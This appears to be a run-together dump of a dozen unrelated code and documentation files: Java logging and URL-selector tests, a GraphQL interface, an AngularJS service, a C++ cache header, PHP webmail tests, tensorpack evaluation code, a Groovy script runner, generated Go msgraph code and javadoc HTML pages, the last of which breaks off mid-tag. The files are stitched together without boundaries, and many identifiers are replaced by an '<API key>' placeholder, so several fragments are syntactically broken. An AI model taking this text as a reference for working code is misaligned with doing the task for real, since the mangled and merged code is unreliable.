SLogStart.log("Coffee Time", "selectCupSize", "size", "large")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=A;"; Assert.assertEquals(expected, SLogStart.log("Coffee Time", "selectCupSize")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=F;size=large;"; Assert.assertEquals(expected, SLogStop.log("Coffee Time", "selectCupSize", "size", "large")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=F;"; Assert.assertEquals(expected, SLogStop.log("Coffee Time", "selectCupSize")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;+MC=1;size=large;"; Assert.assertEquals(expected, SLogBroadcastSend.log("Coffee Time", "selectCupSize", "size", "large")); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;+MC=1;"; Assert.assertEquals(expected, SLogBroadcastSend.log("Coffee Time", "selectCupSize")); expected = "$SPG$+T=Coffee Time;+O=bcastId;+M=A;+OA=selectCupSize;size=large;"; Assert.assertEquals(expected, SLogBroadcastStart.log("Coffee Time", "bcastId", "selectCupSize","size", "large")); expected = "$SPG$+T=Coffee Time;+O=bcastId;+M=A;+OA=selectCupSize;"; Assert.assertEquals(expected, SLogBroadcastStart.log("Coffee Time", "bcastId", "selectCupSize")); expected = "$SPG$+T=Coffee Time;+O=bcastId;+M=F;+OA=selectCupSize;size=large;"; Assert.assertEquals(expected, SLogBroadcastStop.log("Coffee Time", "bcastId", "selectCupSize","size", "large")); expected = "$SPG$+T=Coffee Time;+O=bcastId;+M=F;+OA=selectCupSize;"; Assert.assertEquals(expected, SLogBroadcastStop.log("Coffee Time", "bcastId", "selectCupSize")); } @Test public void testSunnyDay() { String expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;size=large;"; Assert.assertEquals(expected, new SLogCall("Coffee Time", "selectCupSize") .withUserData("size", "large").toString()); Map<String, String> userData = new HashMap<String, String>(); userData.put("size", "large"); Assert.assertEquals(expected, new SLogCall("Coffee Time", "selectCupSize") .withUserData(userData).toString()); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;size=large;size1=large;size2=large;size3=large;size4=large;size5=large;"; Assert.assertEquals(expected, new SLogCall("Coffee Time", "selectCupSize") .withUserData("size", "large") .withUserData("size1", "large") .withUserData("size2", "large") .withUserData("size3", "large") .withUserData("size4", "large") .withUserData("size5", "large").toString()); } @Test public void testOptionalParams() { String expected = "$SPG$+T=Coffee Time;+O=pumpWater;+M=A;+I^=100ms;"; Assert.assertEquals(expected, new SLogStart("Coffee Time", "pumpWater") .<API key>(100, SLog.TimeNotation.MILLIS) .toString()); expected = "$SPG$+T=Coffee Time;+O=coffeeComplete;+M=F;+OA=ensureCapacity;+C^=WaterReservoir;"; Assert.assertEquals(expected, new SLogStop("Coffee Time", "coffeeComplete") .withOperationAlias("ensureCapacity") .<API key>("WaterReservoir") .toString()); } @Test public void testMissingParams() { String expected = "$SPG$+T=_MISSING_TASK_;+O=_MISSING_OPERATION_;+M=S;"; Assert.assertEquals(expected, new SLog(null, null, null) .toString()); expected = "$SPG$+T=Coffee Time;+O=selectCupSize;+M=S;_MISSING_KEY_0=large;"; Assert.assertEquals(expected, new SLogCall("Coffee Time", "selectCupSize") .withUserData(null, "large").toString()); } @Test public void testEscaping() { Assert.assertEquals("abcd", SLog.escape("abcd")); Assert.assertEquals("ab\\ncd", SLog.escape("ab\ncd")); Assert.assertNull(SLog.escape(null)); Assert.assertEquals("", SLog.escape("")); Assert.assertEquals("ab\\=cd", SLog.escape("ab=cd")); Assert.assertEquals("ab\\;cd", SLog.escape("ab;cd")); Assert.assertEquals("ab\\\\cd", SLog.escape("ab\\cd")); } @Test public void testEscapingLog() { String expected = "$SPG$+T=file\\; opened;+O=\\\\open;+M=S;+OA=\\=1;r\\=sr=/Users/dimitarz/\\;filename.log;"; Assert.assertEquals(expected, new SLog(null, null, null) .withUserData("r=sr", "/Users/dimitarz/;filename.log") .withOperation("\\open") .withOperationAlias("=1") .withTask("file; opened") .toString()); } }
package io.zrz.graphql.core.decl; import java.util.List; import org.eclipse.jdt.annotation.Nullable; import io.zrz.graphql.core.doc.GQLDirective; import io.zrz.graphql.core.parser.GQLSourceLocation; public interface GQLDeclaration { @Nullable String description(); <R> R apply(<API key><R> visitor); List<GQLDirective> directives(); @Nullable GQLSourceLocation location(); GQLDeclaration withDescription(String value); GQLDeclaration withDirectives(GQLDirective... elements); GQLDeclaration withDirectives(Iterable<? extends GQLDirective> elements); GQLDeclaration withLocation(GQLSourceLocation value); }
/* * @class <API key> */ export default class <API key> { constructor($http) { this.$http = $http; } static getClassName() { return '<API key>'; } getClassName() { return <API key>.getClassName(); } /* * @func getColumns * @desc getes a list of columns representing the dataset that * allows data tables to map the array of data to the table */ getColumns() { return this.$http.get('http://localhost:3001/api/DataTable/Columns/People'); } /* * @func addColumn * @desc adds a col * allows data tables to map the array of data to the table */ addColumn(item) { return this.$http.post('http://localhost:3001/api/DataTable/Columns/People', item); } /* * @func getData * @desc gets a list of items from the api */ getData() { return this.$http.get('http://localhost:3001/api/People'); } /* * @func addData * @desc adds an item to the api * @param item */ addData(item) { return this.$http.post('http://localhost:3001/api/People', item); } }
# Andropogon exaltatus var. ambiguus VARIETY # Status SYNONYM # According to The Catalogue of Life, 3rd January 2011 # Published in null # Original name null Remarks null
#ifndef <API key> #define <API key> #include <crypto/user.h> class AsyncKeyClient; class KeyServiceClient; class UserLruCache : public LruTable { public: UserLruCache(int max_elm, Crypto::ptr m) : LruTable(max_elm), cryp_mod(m) {} inline UserCrypto::ptr get_user(uint64_t uuid) { return object_cast<UserCrypto>(lookup(uuid)); } inline UserCrypto::ptr get_user(uint64_t uuid, uint64_t key_ver) { return object_cast<UserCrypto>(lookup(uuid)); } void get_user(uint64_t uuid, uint64_t key_ver, lru_str_cb cb); bool get_public_key(uint64_t uuid, uint64_t ver, std::string *key); void get_public_key(uint64_t uuid, uint64_t ver, lru_str_cb cb); bool get_all_pub_keys(uint64_t uuid, std::vector<Crypto::KeyVer::ptr> *krec); LruObj::ptr lookup_missed(uint64_t uuid) override; LruObj::ptr lookup_missed(const std::string &key) override; void lookup_missed(uint64_t uuid, lru_u64_cb cb) override; void lookup_missed(const std::string &key, lru_str_cb cb) override; protected: Crypto::ptr cryp_mod; }; #endif /* <API key> */
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="de"> <head> <!-- Generated by javadoc (1.8.0_101) on Mon Aug 22 00:07:21 CEST 2016 --> <title>de.dhbw.wi13c.jguicreator.data.validator</title> <meta name="date" content="2016-08-22"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../../script.js"></script> </head> <body> <script type="text/javascript"><! try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="de.dhbw.wi13c.jguicreator.data.validator"; } } catch(err) { } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar.top"> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../../de/dhbw/wi13c/jguicreator/data/util/package-summary.html">Prev&nbsp;Package</a></li> <li><a href="../../../../../../de/dhbw/wi13c/jguicreator/elemente/package-summary.html">Next&nbsp;Package</a></li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?de/dhbw/wi13c/jguicreator/data/validator/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.top"> </a></div> <div class="header"> <h1 title="Package" class="title">Package&nbsp;de.dhbw.wi13c.jguicreator.data.validator</h1> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="typeSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation"> <caption><span>Class Summary</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Class</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../../../de/dhbw/wi13c/jguicreator/data/validator/NotNullValidator.html" title="class in de.dhbw.wi13c.jguicreator.data.validator">NotNullValidator</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../../../de/dhbw/wi13c/jguicreator/data/validator/PatternValidator.html" title="class in de.dhbw.wi13c.jguicreator.data.validator">PatternValidator</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../../../de/dhbw/wi13c/jguicreator/data/validator/SizeValidator.html" title="class in de.dhbw.wi13c.jguicreator.data.validator">SizeValidator</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../../../de/dhbw/wi13c/jguicreator/data/validator/Validator.html" title="class in de.dhbw.wi13c.jguicreator.data.validator">Validator</a>&lt;T&gt;</td> <td class="colLast">&nbsp;</td> </tr> </tbody> </table> </li> </ul> </div> <div class="bottomNav"><a name="navbar.bottom"> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../../de/dhbw/wi13c/jguicreator/data/util/package-summary.html">Prev&nbsp;Package</a></li> <li><a href="../../../../../../de/dhbw/wi13c/jguicreator/elemente/package-summary.html">Next&nbsp;Package</a></li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?de/dhbw/wi13c/jguicreator/data/validator/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.bottom"> </a></div> </body> </html>
<?php namespace Test\Webmail; use Magium\AbstractTestCase; use Magium\Mail\Webmail\Messages; class WebmailTest extends AbstractTestCase { protected $subjectContains = '<subject contains something>'; protected $recipient = '<magium mail recipient'; protected $subjectEquals = '<full subject >'; public function setUp() { self::markTestSkipped('This test requires individual configuration'); parent::setUp(); } public function <API key>() { $messages = $this->get(Messages::LOCATOR); /* @var $messages Messages */ $messages->open(); $message = $messages->getMessage(); self::assertNotNull($message->getSubject()); $message = $messages->getMessage(2); self::assertNotNull($message->getSubject()); } public function <API key>() { $messages = $this->get(Messages::LOCATOR); /* @var $messages Messages */ $messages->open(); $message = $messages-><API key>($this->subjectContains); self::assertNotNull($message->getSubject()); } public function <API key>() { $messages = $this->get(Messages::LOCATOR); /* @var $messages Messages */ $messages->open(); $message = $messages-><API key>($this->subjectEquals); self::assertNotNull($message->getSubject()); } public function <API key>() { $messages = $this->get(Messages::LOCATOR); /* @var $messages Messages */ $messages->open(); $message = $messages-><API key>($this->subjectContains, 1, $this->recipient); self::assertNotNull($message->getSubject()); } public function <API key>() { $messages = $this->get(Messages::LOCATOR); /* @var $messages Messages */ $messages->open(); $message = $messages-><API key>($this->subjectEquals, 1, $this->recipient); self::assertNotNull($message->getSubject()); } public function <API key>() { $messages = $this->get(Messages::LOCATOR); /* @var $messages Messages */ $messages->open(); $message = $messages-><API key>($this->subjectContains, 1, 'nobody'); self::assertNull($message); } }
#!/usr/bin/env python # -*- coding: utf-8 -*- # File: common.py import random import time import threading import multiprocessing import numpy as np from tqdm import tqdm from six.moves import queue from tensorpack import * from tensorpack.utils.concurrency import * from tensorpack.utils.stats import * def play_one_episode(player, func, verbose=False): def f(s): spc = player.get_action_space() act = func([[s]])[0][0].argmax() if random.random() < 0.001: act = spc.sample() if verbose: print(act) return act return np.mean(player.play_one_episode(f)) def play_model(cfg, player): predfunc = OfflinePredictor(cfg) while True: score = play_one_episode(player, predfunc) print("Total:", score) def eval_with_funcs(predictors, nr_eval, get_player_fn): class Worker(StoppableThread, ShareSessionThread): def __init__(self, func, queue): super(Worker, self).__init__() self._func = func self.q = queue def func(self, *args, **kwargs): if self.stopped(): raise RuntimeError("stopped!") return self._func(*args, **kwargs) def run(self): with self.default_sess(): player = get_player_fn(train=False) while not self.stopped(): try: score = play_one_episode(player, self.func) # print("Score, ", score) except RuntimeError: return self.queue_put_stoppable(self.q, score) q = queue.Queue() threads = [Worker(f, q) for f in predictors] for k in threads: k.start() time.sleep(0.1) # avoid simulator bugs stat = StatCounter() try: for _ in tqdm(range(nr_eval), **get_tqdm_kwargs()): r = q.get() stat.feed(r) logger.info("Waiting for all the workers to finish the last run...") for k in threads: k.stop() for k in threads: k.join() while q.qsize(): r = q.get() stat.feed(r) except: logger.exception("Eval") finally: if stat.count > 0: return (stat.average, stat.max) return (0, 0) def <API key>(cfg, nr_eval, get_player_fn): func = OfflinePredictor(cfg) NR_PROC = min(multiprocessing.cpu_count() // 2, 8) mean, max = eval_with_funcs([func] * NR_PROC, nr_eval, get_player_fn) logger.info("Average Score: {}; Max Score: {}".format(mean, max)) class Evaluator(Triggerable): def __init__(self, nr_eval, input_names, output_names, get_player_fn): self.eval_episode = nr_eval self.input_names = input_names self.output_names = output_names self.get_player_fn = get_player_fn def _setup_graph(self): NR_PROC = min(multiprocessing.cpu_count() // 2, 20) self.pred_funcs = [self.trainer.get_predictor( self.input_names, self.output_names)] * NR_PROC def _trigger(self): t = time.time() mean, max = eval_with_funcs( self.pred_funcs, self.eval_episode, self.get_player_fn) t = time.time() - t if t > 10 * 60: # eval takes too long self.eval_episode = int(self.eval_episode * 0.94) self.trainer.monitors.put_scalar('mean_score', mean) self.trainer.monitors.put_scalar('max_score', max) def play_n_episodes(player, predfunc, nr): logger.info("Start evaluation: ") for k in range(nr): if k != 0: player.restart_episode() score = play_one_episode(player, predfunc) print("{}/{}, score={}".format(k, nr, score))
#ifndef dynamic_array_h #define dynamic_array_h #include <stdlib.h> #include "dynamic_array.c" struct dynamic_array { uint32_t size; uint32_t expansion_factor; void ** array; }; int da_precise_create (struct dynamic_array * ar, uint32_t init_size, uint32_t expansion_factor); int da_create (struct dynamic_array * ar); int64_t da_add(struct dynamic_array * ar, void * val); void da_delete(struct dynamic_array * ar); #endif
package org.devocative.demeter.service.template; import groovy.lang.Binding; import groovy.lang.Script; import org.devocative.demeter.iservice.template.BaseStringTemplate; import java.util.Map; public class GroovyScript extends BaseStringTemplate<Script> { private Script script; public GroovyScript(Script script) { this.script = script; } @Override public Object process(Map<String, Object> params) { Binding binding = new Binding(); for (Map.Entry<String, Object> entry : params.entrySet()) { binding.setVariable(entry.getKey(), entry.getValue()); } script.setBinding(binding); return script.run(); } @Override public Script unwrap() { return script; } }
package thingbench; import java.util.HashMap; import net.frapu.code.visualization.ProcessNode; /** * This class provides an operation on a thing. * * @author fpu */ public abstract class ThingOperation { private ProcessNode thingNode; private String operationName; public ThingOperation(ProcessNode thingNode, String operationName) { this.thingNode = thingNode; this.operationName = operationName; } public ProcessNode getThingNode() { return thingNode; } public String getOperationName() { return operationName; } /** * This class executes the Operation. Each operation has a set of properties * of the type <String, String> as input and output. What the operation * does with it remains to the operation. * @param properties * @return * @throws thingbench.<API key> */ public abstract HashMap<String, String> execute(HashMap<String, String> properties) throws <API key>; }
package lan.dk.podcastserver.manager.worker.selector; import lan.dk.podcastserver.manager.worker.selector.update.*; import lan.dk.podcastserver.manager.worker.updater.*; import org.junit.Before; import org.junit.Test; import java.util.HashSet; import java.util.Set; import static org.assertj.core.api.Assertions.assertThat; public class UpdaterSelectorTest { Set<<API key>> updaterSelectors = new HashSet<>(); @Before public void setUp() throws Exception { updaterSelectors.add(new <API key>()); updaterSelectors.add(new <API key>()); updaterSelectors.add(new <API key>()); updaterSelectors.add(new <API key>()); updaterSelectors.add(new <API key>()); updaterSelectors.add(new <API key>()); updaterSelectors.add(new <API key>()); updaterSelectors.add(new PluzzCompatibility()); } @Test public void <API key> () { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("www.link.to.rss/feeds"); /* Then */ assertThat(updaterClass).isEqualTo(RSSUpdater.class); } @Test public void <API key> () { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.youtube.com/user/fakeUser"); /* Then */ assertThat(updaterClass).isEqualTo(YoutubeUpdater.class); } @Test public void <API key> () { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.beinsports.fr/replay/category/3361/name/lexpresso"); /* Then */ assertThat(updaterClass).isEqualTo(BeInSportsUpdater.class); } @Test public void <API key>() { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.canalplus.fr/show/for/dummies"); /* Then */ assertThat(updaterClass).isEqualTo(CanalPlusUpdater.class); } @Test public void <API key>() { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.jeuxvideo.fr/show/for/dummies"); /* Then */ assertThat(updaterClass).isEqualTo(JeuxVideoFRUpdater.class); } @Test public void <API key>() { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.jeuxvideo.com/show/for/dummies"); /* Then */ assertThat(updaterClass).isEqualTo(JeuxVideoComUpdater.class); } @Test public void <API key>() { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.parleys.com/show/for/dummies"); /* Then */ assertThat(updaterClass).isEqualTo(ParleysUpdater.class); } @Test public void <API key>() { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ Class updaterClass = updaterSelector.of("http://www.pluzz.francetv.fr/show/for/dummies"); /* Then */ assertThat(updaterClass).isEqualTo(PluzzUpdater.class); } @Test(expected = RuntimeException.class) public void <API key>() { /* Given */ UpdaterSelector updaterSelector = new UpdaterSelector().<API key>(updaterSelectors); /* When */ updaterSelector.of(""); } }
// Code generated by msgraph.go/gen DO NOT EDIT. package msgraph import "context" type <API key> struct{ BaseRequestBuilder } // Tan action undocumented func (b *<API key>) Tan(reqObj *<API key>) *<API key> { bb := &<API key>{BaseRequestBuilder: b.BaseRequestBuilder} bb.BaseRequestBuilder.baseURL += "/tan" bb.BaseRequestBuilder.requestObject = reqObj return bb } type <API key> struct{ BaseRequest } func (b *<API key>) Request() *<API key> { return &<API key>{ BaseRequest: BaseRequest{baseURL: b.baseURL, client: b.client, requestObject: b.requestObject}, } } func (r *<API key>) Post(ctx context.Context) (resObj *<API key>, err error) { err = r.JSONRequest(ctx, "POST", "", r.requestObject, &resObj) return }
<!DOCTYPE HTML PUBLIC "- <!--NewPage <HTML> <HEAD> <!-- Generated by javadoc (build 1.4.2_11) on Sun Oct 15 22:02:30 CDT 2006 --> <TITLE> Overview (Hibernate API Documentation) </TITLE> <META NAME="keywords" CONTENT="Overview, Hibernate API Documentation (3.2.0.ga)"> <LINK REL ="stylesheet" TYPE="text/css" HREF="jdstyle.css" TITLE="Style"> </HEAD> <BODY BGCOLOR="white"> <TABLE BORDER="0" WIDTH="100%" SUMMARY=""> <TR> <TD NOWRAP><FONT size="+1" CLASS="FrameTitleFont"> <B></B></FONT></TD> </TR> </TABLE> <TABLE BORDER="0" WIDTH="100%" SUMMARY=""> <TR> <TD NOWRAP><FONT CLASS="FrameItemFont"><A HREF="allclasses-frame.html" target="packageFrame">All Classes</A></FONT> <P> <FONT size="+1" CLASS="FrameHeadingFont"> Packages</FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/package-frame.html" target="packageFrame">org.hibernate</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/action/package-frame.html" target="packageFrame">org.hibernate.action</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/bytecode/package-frame.html" target="packageFrame">org.hibernate.bytecode</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/bytecode/cglib/package-frame.html" target="packageFrame">org.hibernate.bytecode.cglib</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/bytecode/javassist/package-frame.html" target="packageFrame">org.hibernate.bytecode.javassist</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/bytecode/util/package-frame.html" target="packageFrame">org.hibernate.bytecode.util</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/cache/package-frame.html" target="packageFrame">org.hibernate.cache</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/cache/entry/package-frame.html" target="packageFrame">org.hibernate.cache.entry</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/cfg/package-frame.html" target="packageFrame">org.hibernate.cfg</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/classic/package-frame.html" target="packageFrame">org.hibernate.classic</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/collection/package-frame.html" target="packageFrame">org.hibernate.collection</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/connection/package-frame.html" target="packageFrame">org.hibernate.connection</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/context/package-frame.html" target="packageFrame">org.hibernate.context</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/criterion/package-frame.html" target="packageFrame">org.hibernate.criterion</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/dialect/package-frame.html" target="packageFrame">org.hibernate.dialect</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/dialect/function/package-frame.html" target="packageFrame">org.hibernate.dialect.function</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/dialect/lock/package-frame.html" target="packageFrame">org.hibernate.dialect.lock</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/engine/package-frame.html" target="packageFrame">org.hibernate.engine</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/engine/query/package-frame.html" target="packageFrame">org.hibernate.engine.query</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/engine/query/sql/package-frame.html" target="packageFrame">org.hibernate.engine.query.sql</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/engine/transaction/package-frame.html" target="packageFrame">org.hibernate.engine.transaction</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/event/package-frame.html" target="packageFrame">org.hibernate.event</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/event/def/package-frame.html" target="packageFrame">org.hibernate.event.def</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/exception/package-frame.html" target="packageFrame">org.hibernate.exception</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/package-frame.html" target="packageFrame">org.hibernate.hql</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/antlr/package-frame.html" target="packageFrame">org.hibernate.hql.antlr</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/ast/package-frame.html" target="packageFrame">org.hibernate.hql.ast</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/ast/exec/package-frame.html" target="packageFrame">org.hibernate.hql.ast.exec</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/ast/tree/package-frame.html" target="packageFrame">org.hibernate.hql.ast.tree</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/ast/util/package-frame.html" target="packageFrame">org.hibernate.hql.ast.util</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/hql/classic/package-frame.html" target="packageFrame">org.hibernate.hql.classic</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/id/package-frame.html" target="packageFrame">org.hibernate.id</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/id/insert/package-frame.html" target="packageFrame">org.hibernate.id.insert</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/impl/package-frame.html" target="packageFrame">org.hibernate.impl</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/intercept/package-frame.html" target="packageFrame">org.hibernate.intercept</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/intercept/cglib/package-frame.html" target="packageFrame">org.hibernate.intercept.cglib</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/intercept/javassist/package-frame.html" target="packageFrame">org.hibernate.intercept.javassist</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/jdbc/package-frame.html" target="packageFrame">org.hibernate.jdbc</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/jmx/package-frame.html" target="packageFrame">org.hibernate.jmx</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/package-frame.html" target="packageFrame">org.hibernate.loader</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/collection/package-frame.html" target="packageFrame">org.hibernate.loader.collection</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/criteria/package-frame.html" target="packageFrame">org.hibernate.loader.criteria</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/custom/package-frame.html" target="packageFrame">org.hibernate.loader.custom</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/custom/sql/package-frame.html" target="packageFrame">org.hibernate.loader.custom.sql</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/entity/package-frame.html" target="packageFrame">org.hibernate.loader.entity</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/loader/hql/package-frame.html" target="packageFrame">org.hibernate.loader.hql</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/lob/package-frame.html" target="packageFrame">org.hibernate.lob</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/mapping/package-frame.html" target="packageFrame">org.hibernate.mapping</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/metadata/package-frame.html" target="packageFrame">org.hibernate.metadata</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/param/package-frame.html" target="packageFrame">org.hibernate.param</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/persister/package-frame.html" target="packageFrame">org.hibernate.persister</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/persister/collection/package-frame.html" target="packageFrame">org.hibernate.persister.collection</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/persister/entity/package-frame.html" target="packageFrame">org.hibernate.persister.entity</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/pretty/package-frame.html" target="packageFrame">org.hibernate.pretty</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/property/package-frame.html" target="packageFrame">org.hibernate.property</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/proxy/package-frame.html" target="packageFrame">org.hibernate.proxy</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/proxy/dom4j/package-frame.html" target="packageFrame">org.hibernate.proxy.dom4j</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/proxy/map/package-frame.html" target="packageFrame">org.hibernate.proxy.map</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/proxy/pojo/package-frame.html" target="packageFrame">org.hibernate.proxy.pojo</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/proxy/pojo/cglib/package-frame.html" target="packageFrame">org.hibernate.proxy.pojo.cglib</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/proxy/pojo/javassist/package-frame.html" 